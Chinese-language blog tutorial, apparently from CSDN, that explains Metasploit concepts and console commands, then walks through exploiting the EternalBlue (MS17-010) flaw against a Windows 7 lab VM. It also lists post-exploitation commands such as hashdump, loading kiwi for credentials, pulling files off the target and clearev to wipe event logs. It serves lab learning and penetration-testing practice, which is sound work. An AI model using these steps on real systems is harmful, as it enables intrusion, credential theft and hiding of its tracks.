渗透测试工具-Metasploit使用复现永恒之蓝漏洞

Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。

使用

1.渗透攻击(Exploit)
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
2.攻击载荷(Payload)
攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。
3.溢出代码(Shellcode)
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
4.模块(Module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。
5.监听器(Listener)
监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。

Msfconsole控制台

更新msf 输入 apt-get install metasploit-framework
kali中输入msfconsole进入

它是一个一体化集中控制台,允许你访问到几乎所有的MSF框架选项。MSF起初看似吓人的,但一旦你学习他的语法命令,你将会欣赏利用该接口的力量。

Msfconsole的好处

这是唯一能访问大多数支持在MSF特点。
Console-based界面提供了一个框架
具有最稳定的MSF的界面
充分支持Readline、Tabbing以及其它各类命令
支持Msfconsole外部命令执行

常用命令

? 执行?命令:帮助菜单
search 搜索模块名和描述。
use 使用命令
back 从当前环境返回。
Banner 命令,显示一个MSF的banner。
color 颜色转换
connect 连接一个主机
exit 退出MSF
info 显示一个或多个模块的信息
irb 进入irb脚本模式。
jobs 显示和管理作业(和windows任务管理器的进程作用一样)
kill 杀死一个作业(和结束进程的作用一样)。
loadpath 加载一个模块的路径。
quit 退出MSF。
load 加载一个插件。
route 查看一个会话的路由信息。
save 保存动作
set 给一个变量赋值
show 显示给所有类型的模块
setg 把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中
sleep 在限定的秒数内什么也不做
unload 卸载一个模块
unset 解出一个或多个变量。
unsetg 解出一个或多个全局变量
version 显示MSF和控制台库版本
background:将当前session挂起
sessions[-l]:列出当前所有的session
sessions[-i] id:进入某个session

Exploits模块

命名规则:系统/服务/名称
例如:windows/smb/ms08_067_netapi
RHOST:目标主机IP地址
RPORT:目标主机连接端口
Payload:有效的载荷,成功后返回shell
LHOST:攻击者的IP地址
LPORT:攻击者的端口

Payloads模块

	是在使用一个模块之后再去使用的。
	命名规则:系统/类型/名称
	例如:Windows/dllinject/reverse_tcp
	类型命名规则
	shell:上传一个shell。
	dllinject:注入一个dll到进程。
	patchup***:修补漏洞。
	upexec:上传并执行一个文件。
	meterpreter:高级的payload。
	vncinject:高级的payload。
	passive:高级的payload。

名称的命名规则
shell_find_tag:在一个已建立的连接上创建一个shell。
shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。
bind_tcp:监听一个tcp连接。
reverse_tcp:反向建立tcp连接。
reverse_http:通过HTTP隧道通信并创建一个新用户添加到管理组。
add_user:创建一个新用户并添加到管理组。
xxx_ipv6_tcp:基于IPV6。
xxx_nonx_tcp:no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出 的技术)。
xxx_ord_tcp:有序payload。
xxx_tcp_allports:在所有可能的端口。

Auxiliary模块

情报搜集阶段,这一阶段主要是尽可能多的收集目标的各种信息。这里主要用到Msf里auxiliary里边的Modules,这里的Modules都是些渗透前期的辅助工具。一般的收集信息可以使用Whois(这个是Linux自带的),db_nmap(这个是Msf的一个插件),如果要使用到其他的一些收集信息的方法,比如使用Syn(一种不建立头层皮连接的扫描)扫描,可以在Msfconsole里边Search syn然后根据返回结果来确定使用哪个模块。

使用及复现

1.首先准备好环境这里打开了kali和win7两台虚拟机
在这里插入图片描述
2.首先需要确定目标是否存在该漏洞可以使用nmap -sV 目标IP 来扫描看一下 或者使用nessus对系统进行扫描
这里可以看到win7系统 并开放了445端口
在这里插入图片描述
3.打开kali上的metasploit服务 输入命令msfconsole打开
在这里插入图片描述
4.我们这里要利用永恒之蓝漏洞直接search ms17-010搜索该漏洞
结果显示0,1,4是exploit漏洞利用模块 2,3Auxiliary是辅助模块
在这里插入图片描述
5.由于前面已经确认有ms17-010该漏洞,直接使用使用ms17-010攻击模块(永恒之蓝)
在这里插入图片描述
6.然后可以使用 show options 命令来查看该模块需要配置的东西 required 为yes的需要配置
在这里插入图片描述7.设置一下目标ip地址 set rhosts 目标ip 下面payloads设置的是监听主机的ip和监听端口
在这里插入图片描述8.最后执行exploit或者run就可以攻击了 显示win攻击成功
在这里插入图片描述9.成功后可以执行命令来实现对目标的控制
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
load #使用扩展库
run #使用扩展库
clearev #清除日志
在这里插入图片描述

### 正确配置Kali Linux网络复现永恒之蓝漏洞 为了在Kali Linux中正确配置网络复现永恒之蓝漏洞,需确保攻击端与被攻击端处于同一局域网内并能互相通信。 #### 设置静态IP地址 对于攻击端Linux Kali (192.168.214.128),可以通过修改`/etc/network/interfaces`文件设置静态IP地址。编辑此文件加入以下内容: ```bash auto eth0 iface eth0 inet static address 192.168.214.128 netmask 255.255.255.0 gateway 192.168.214.1 ``` 重启网络服务使更改生效: ```bash sudo systemctl restart networking.service ``` 确认网络接口已获取指定的IP地址[^1]: ```bash ifconfig ``` #### 测试连通性 验证从Kali到Windows目标机(192.168.214.129)之间的基本连接状况,可以使用ping命令测试两台设备间的可达性和延迟情况。 ```bash ping 192.168.214.129 ``` 如果能够收到回应,则说明两者之间存在有效的TCP/IP层面上的数据交换路径;反之则可能存在问题需要排查解决。 #### 关闭防火墙干扰 考虑到实验环境中不需要额外的安全防护措施,在开始之前应当暂时禁用系统的防火墙功能以免其阻止必要的流量传输。对于Kali而言,默认情况下安装的是ufw作为前端管理工具,执行下列指令可将其停用: ```bash sudo ufw disable ``` 而对于Win7系统来说,由于已经提到过要关闭防火墙,因此只需按照常规方式进入控制面板->系统和安全->Windows Defender防火墙->启用或关闭Windows防火墙选项里选择全部关闭即可[^3]。 完成上述准备工作之后就可以继续下一步骤的操作了,比如利用Metasploit框架中的特定exploit模块针对含有MS17-010漏洞的目标实施渗透测试活动。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

制冷少年的成长日记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值